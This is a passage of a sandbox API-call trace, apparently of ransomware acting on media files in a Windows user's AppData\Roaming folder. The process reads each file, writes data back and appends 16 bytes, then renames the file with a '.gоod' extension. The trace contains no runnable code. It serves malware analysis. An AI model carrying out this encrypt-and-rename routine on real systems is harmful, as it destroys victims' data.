"c:\\users\\fd1hvy\\appdata\\roaming\\ymqwjw-z3qnsvbz.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0223.102] GetFileType (hFile=0x858) returned 0x1 [0223.102] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0223.102] GetFileType (hFile=0x858) returned 0x1 [0223.102] SetFilePointer (in: hFile=0x858, lDistanceToMove=0, lpDistanceToMoveHigh=0x204ee258*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x204ee258*=0) returned 0xddb6 [0223.102] WriteFile (in: hFile=0x858, lpBuffer=0x369a240*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x204ee148, lpOverlapped=0x0 | out: lpBuffer=0x369a240*, lpNumberOfBytesWritten=0x204ee148*=0x10, lpOverlapped=0x0) returned 1 [0223.102] CloseHandle (hObject=0x858) returned 1 [0223.102] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\YMqWJw-Z3QNsVBZ.jpg", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\YMqWJw-Z3QNsVBZ.jpg", lpFilePart=0x0) returned 0x33 [0223.102] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0223.102] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\YMqWJw-Z3QNsVBZ.jpg" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\ymqwjw-z3qnsvbz.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0223.102] GetFileType (hFile=0x858) returned 0x1 [0223.102] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0223.102] GetFileType (hFile=0x858) returned 0x1 [0223.102] ReadFile (in: hFile=0x858, lpBuffer=0x369c4e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ee1d8, lpOverlapped=0x0 | out: lpBuffer=0x369c4e0*, lpNumberOfBytesRead=0x204ee1d8*=0x1000, lpOverlapped=0x0) returned 1 [0224.652] CloseHandle (hObject=0x858) returned 1 [0224.653] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\YMqWJw-Z3QNsVBZ.jpg", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\YMqWJw-Z3QNsVBZ.jpg", lpFilePart=0x0) returned 0x33 [0224.653] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0224.653] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\YMqWJw-Z3QNsVBZ.jpg" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\ymqwjw-z3qnsvbz.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0224.653] GetFileType (hFile=0x858) returned 0x1 [0224.653] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0224.653] GetFileType (hFile=0x858) returned 0x1 [0224.653] WriteFile (in: hFile=0x858, lpBuffer=0x34e1480*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x204ee288, lpOverlapped=0x0 | out: lpBuffer=0x34e1480*, lpNumberOfBytesWritten=0x204ee288*=0x1010, lpOverlapped=0x0) returned 1 [0224.653] CloseHandle (hObject=0x858) returned 1 [0224.653] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\YMqWJw-Z3QNsVBZ.jpg", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\YMqWJw-Z3QNsVBZ.jpg", lpFilePart=0x0) returned 0x33 [0224.653] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\YMqWJw-Z3QNsVBZ.jpg.gоod", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\YMqWJw-Z3QNsVBZ.jpg.gоod", lpFilePart=0x0) returned 0x38 [0224.653] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee1c0) returned 1 [0224.653] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\YMqWJw-Z3QNsVBZ.jpg" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\ymqwjw-z3qnsvbz.jpg"), fInfoLevelId=0x0, lpFileInformation=0x204ee2a0 | out: lpFileInformation=0x204ee2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c113000, ftCreationTime.dwHighDateTime=0x1d4d503, ftLastAccessTime.dwLowDateTime=0x8978d550, ftLastAccessTime.dwHighDateTime=0x1d4c8cf, ftLastWriteTime.dwLowDateTime=0x821eccb8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xddc6)) returned 1 [0224.653] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee180) returned 1 [0224.654] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\YMqWJw-Z3QNsVBZ.jpg" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\ymqwjw-z3qnsvbz.jpg"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\YMqWJw-Z3QNsVBZ.jpg.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\ymqwjw-z3qnsvbz.jpg.gоod")) returned 1 [0224.654] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\yVaIEk.m4a", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\yVaIEk.m4a", lpFilePart=0x0) returned 0x2a [0224.654] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee200) returned 1 [0224.654] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\yVaIEk.m4a" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\yvaiek.m4a"), fInfoLevelId=0x0, lpFileInformation=0x36d9330 | out: lpFileInformation=0x36d9330*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e85d2a0, ftCreationTime.dwHighDateTime=0x1d4d353, ftLastAccessTime.dwLowDateTime=0x2fece3b0, ftLastAccessTime.dwHighDateTime=0x1d4d59e, ftLastWriteTime.dwLowDateTime=0x2fece3b0, ftLastWriteTime.dwHighDateTime=0x1d4d59e, nFileSizeHigh=0x0, nFileSizeLow=0x16003)) returned 1 [0224.654] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee1c0) returned 1 [0224.654] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\yVaIEk.m4a", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\yVaIEk.m4a", lpFilePart=0x0) returned 0x2a [0224.656] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0224.656] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\yVaIEk.m4a" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\yvaiek.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0224.656] GetFileType (hFile=0x858) returned 0x1 [0224.656] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0224.657] GetFileType (hFile=0x858) returned 0x1 [0224.657] SetFilePointer (in: hFile=0x858, lDistanceToMove=4096, lpDistanceToMoveHigh=0x204ee258*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x204ee258*=0) returned 0x1000 [0224.657] ReadFile (in: hFile=0x858, lpBuffer=0x36d96c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ee228, lpOverlapped=0x0 | out: lpBuffer=0x36d96c8*, lpNumberOfBytesRead=0x204ee228*=0x1000, lpOverlapped=0x0) returned 1 [0224.657] CloseHandle (hObject=0x858) returned 1 [0224.657] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\yVaIEk.m4a", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\yVaIEk.m4a", lpFilePart=0x0) returned 0x2a [0224.658] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0224.658] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\yVaIEk.m4a" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\yvaiek.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0224.658] GetFileType (hFile=0x858) returned 0x1 [0224.658] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0224.658] GetFileType (hFile=0x858) returned 0x1 [0224.658] SetFilePointer (in: hFile=0x858, lDistanceToMove=0, lpDistanceToMoveHigh=0x204ee258*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x204ee258*=0) returned 0x16003 [0224.658] WriteFile (in: hFile=0x858, lpBuffer=0x36da920*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x204ee148, lpOverlapped=0x0 | out: lpBuffer=0x36da920*, lpNumberOfBytesWritten=0x204ee148*=0x10, lpOverlapped=0x0) returned 1 [0224.658] CloseHandle (hObject=0x858) returned 1 [0224.658] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\yVaIEk.m4a", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\yVaIEk.m4a", lpFilePart=0x0) returned 0x2a [0224.658] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0224.658] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\yVaIEk.m4a" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\yvaiek.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0224.658] GetFileType (hFile=0x858) returned 0x1 [0224.658] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0224.658] GetFileType (hFile=0x858) returned 0x1 [0224.659] ReadFile (in: hFile=0x858, lpBuffer=0x36dcba0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ee1d8, lpOverlapped=0x0 | out: lpBuffer=0x36dcba0*, lpNumberOfBytesRead=0x204ee1d8*=0x1000, lpOverlapped=0x0) returned 1 [0224.788] CloseHandle (hObject=0x858) returned 1 [0224.788] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\yVaIEk.m4a", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\yVaIEk.m4a", lpFilePart=0x0) returned 0x2a [0224.788] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0224.788] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\yVaIEk.m4a" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\yvaiek.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0224.788] GetFileType (hFile=0x858) returned 0x1 [0224.788] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0224.789] GetFileType (hFile=0x858) returned 0x1 [0224.789] WriteFile (in: hFile=0x858, lpBuffer=0x358d9a0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x204ee288, lpOverlapped=0x0 | out: lpBuffer=0x358d9a0*, lpNumberOfBytesWritten=0x204ee288*=0x1010, lpOverlapped=0x0) returned 1 [0224.789] CloseHandle (hObject=0x858) returned 1 [0224.789] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\yVaIEk.m4a", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\yVaIEk.m4a", lpFilePart=0x0) returned 0x2a [0224.789] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\yVaIEk.m4a.gоod", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\yVaIEk.m4a.gоod", lpFilePart=0x0) returned 0x2f [0224.789] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee1c0) returned 1 [0224.789] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\yVaIEk.m4a" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\yvaiek.m4a"), fInfoLevelId=0x0, lpFileInformation=0x204ee2a0 | out: lpFileInformation=0x204ee2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e85d2a0, ftCreationTime.dwHighDateTime=0x1d4d353, ftLastAccessTime.dwLowDateTime=0x2fece3b0, ftLastAccessTime.dwHighDateTime=0x1d4d59e, ftLastWriteTime.dwLowDateTime=0x8231e2d6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x16013)) returned 1 [0224.789] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee180) returned 1 [0224.789] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\yVaIEk.m4a" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\yvaiek.m4a"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\yVaIEk.m4a.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\yvaiek.m4a.gоod")) returned 1 [0224.790] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\YW BBAy4.m4a", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\YW BBAy4.m4a", lpFilePart=0x0) returned 0x2c [0224.790] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee200) returned 1 [0224.790] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\YW BBAy4.m4a" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\yw bbay4.m4a"), fInfoLevelId=0x0, lpFileInformation=0x360a010 | out: lpFileInformation=0x360a010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76741400, ftCreationTime.dwHighDateTime=0x1d4d0af, ftLastAccessTime.dwLowDateTime=0xfb61f2d0, ftLastAccessTime.dwHighDateTime=0x1d4ce21, ftLastWriteTime.dwLowDateTime=0xfb61f2d0, ftLastWriteTime.dwHighDateTime=0x1d4ce21, nFileSizeHigh=0x0, nFileSizeLow=0xf45a)) returned 1 [0224.790] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee1c0) returned 1 [0224.790] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\YW BBAy4.m4a", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\YW BBAy4.m4a", lpFilePart=0x0) returned 0x2c [0224.790] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0224.790] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\YW BBAy4.m4a" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\yw bbay4.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0224.790] GetFileType (hFile=0x858) returned 0x1 [0224.790] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0224.791] GetFileType (hFile=0x858) returned 0x1 [0224.791] SetFilePointer (in: hFile=0x858, lDistanceToMove=4096, lpDistanceToMoveHigh=0x204ee258*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x204ee258*=0) returned 0x1000 [0224.791] ReadFile (in: hFile=0x858, lpBuffer=0x360a3c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ee228, lpOverlapped=0x0 | out: lpBuffer=0x360a3c8*, lpNumberOfBytesRead=0x204ee228*=0x1000, lpOverlapped=0x0) returned 1 [0224.791] CloseHandle (hObject=0x858) returned 1 [0224.791] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\YW BBAy4.m4a", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\YW BBAy4.m4a", lpFilePart=0x0) returned 0x2c [0224.791] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0224.792] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\YW BBAy4.m4a" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\yw bbay4.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0224.792] GetFileType (hFile=0x858) returned 0x1 [0224.792] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0224.792] GetFileType (hFile=0x858) returned 0x1 [0224.792] SetFilePointer (in: hFile=0x858, lDistanceToMove=0, lpDistanceToMoveHigh=0x204ee258*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x204ee258*=0) returned 0xf45a [0224.792] WriteFile (in: hFile=0x858, lpBuffer=0x360b630*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x204ee148, lpOverlapped=0x0 | out: lpBuffer=0x360b630*, lpNumberOfBytesWritten=0x204ee148*=0x10, lpOverlapped=0x0) returned 1 [0224.792] CloseHandle (hObject=0x858) returned 1 [0224.792] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\YW BBAy4.m4a", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\YW BBAy4.m4a", lpFilePart=0x0) returned 0x2c [0224.792] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0224.792] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\YW BBAy4.m4a" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\yw bbay4.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0224.793] GetFileType (hFile=0x858) returned 0x1 [0224.793] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0224.793] GetFileType (hFile=0x858) returned 0x1 [0224.793] ReadFile (in: hFile=0x858, lpBuffer=0x360d8c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ee1d8, lpOverlapped=0x0 | out: lpBuffer=0x360d8c0*, lpNumberOfBytesRead=0x204ee1d8*=0x1000, lpOverlapped=0x0) returned 1 [0224.819] CloseHandle (hObject=0x858) returned 1 [0224.819] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\YW BBAy4.m4a", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\YW BBAy4.m4a", lpFilePart=0x0) returned 0x2c [0224.819] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0224.819] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\YW BBAy4.m4a" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\yw bbay4.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0224.819] GetFileType (hFile=0x858) returned 0x1 [0224.819] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0224.819] GetFileType (hFile=0x858) returned 0x1 [0224.819] WriteFile (in: hFile=0x858, lpBuffer=0x360c648*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x204ee288, lpOverlapped=0x0 | out: lpBuffer=0x360c648*, lpNumberOfBytesWritten=0x204ee288*=0x1010, lpOverlapped=0x0) returned 1 [0224.819] CloseHandle (hObject=0x858) returned 1 [0224.819] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\YW BBAy4.m4a", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\YW BBAy4.m4a", lpFilePart=0x0) returned 0x2c [0224.819] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\YW BBAy4.m4a.gоod", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\YW BBAy4.m4a.gоod", lpFilePart=0x0) returned 0x31 [0224.819] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee1c0) returned 1 [0224.819] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\YW BBAy4.m4a" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\yw bbay4.m4a"), fInfoLevelId=0x0, lpFileInformation=0x204ee2a0 | out: lpFileInformation=0x204ee2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76741400, ftCreationTime.dwHighDateTime=0x1d4d0af, ftLastAccessTime.dwLowDateTime=0xfb61f2d0, ftLastAccessTime.dwHighDateTime=0x1d4ce21, ftLastWriteTime.dwLowDateTime=0x8236a520, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xf46a)) returned 1 [0224.820] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee180) returned 1 [0224.820] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\YW BBAy4.m4a" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\yw bbay4.m4a"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\YW BBAy4.m4a.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\yw bbay4.m4a.gоod")) returned 1 [0224.820] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Zy EwOK.mkv", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Zy EwOK.mkv", lpFilePart=0x0) returned 0x2b [0224.820] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee200) returned 1 [0224.820] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Zy EwOK.mkv" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\zy ewok.mkv"), fInfoLevelId=0x0, lpFileInformation=0x368ad88 | out: lpFileInformation=0x368ad88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f7df2b0, ftCreationTime.dwHighDateTime=0x1d4ce19, ftLastAccessTime.dwLowDateTime=0x3af96ca0, ftLastAccessTime.dwHighDateTime=0x1d4d0e5, ftLastWriteTime.dwLowDateTime=0x3af96ca0, ftLastWriteTime.dwHighDateTime=0x1d4d0e5, nFileSizeHigh=0x0, nFileSizeLow=0x5ec0)) returned 1 [0224.820] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee1c0) returned 1 [0224.820] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Zy EwOK.mkv", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Zy EwOK.mkv", lpFilePart=0x0) returned 0x2b [0224.820] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0224.820] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Zy EwOK.mkv" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\zy ewok.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0224.821] GetFileType (hFile=0x858) returned 0x1 [0224.821] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0224.821] GetFileType (hFile=0x858) returned 0x1 [0224.821] SetFilePointer (in: hFile=0x858, lDistanceToMove=4096, lpDistanceToMoveHigh=0x204ee258*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x204ee258*=0) returned 0x1000 [0224.821] ReadFile (in: hFile=0x858, lpBuffer=0x368b870, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ee228, lpOverlapped=0x0 | out: lpBuffer=0x368b870*, lpNumberOfBytesRead=0x204ee228*=0x1000, lpOverlapped=0x0) returned 1 [0224.822] CloseHandle (hObject=0x858) returned 1 [0224.822] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Zy EwOK.mkv", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Zy EwOK.mkv", lpFilePart=0x0) returned 0x2b [0224.822] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0224.822] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Zy EwOK.mkv" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\zy ewok.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0224.822] GetFileType (hFile=0x858) returned 0x1 [0224.822] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0224.822] GetFileType (hFile=0x858) returned 0x1 [0224.822] SetFilePointer (in: hFile=0x858, lDistanceToMove=0, lpDistanceToMoveHigh=0x204ee258*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x204ee258*=0) returned 0x5ec0 [0224.822] WriteFile (in: hFile=0x858, lpBuffer=0x368cac8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x204ee148, lpOverlapped=0x0 | out: lpBuffer=0x368cac8*, lpNumberOfBytesWritten=0x204ee148*=0x10, lpOverlapped=0x0) returned 1 [0224.822] CloseHandle (hObject=0x858) returned 1 [0224.822] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Zy EwOK.mkv", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Zy EwOK.mkv", lpFilePart=0x0) returned 0x2b [0224.822] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0224.823] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Zy EwOK.mkv" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\zy ewok.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0224.823] GetFileType (hFile=0x858) returned 0x1 [0224.823] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0224.823] GetFileType (hFile=0x858) returned 0x1 [0224.823] ReadFile (in: hFile=0x858, 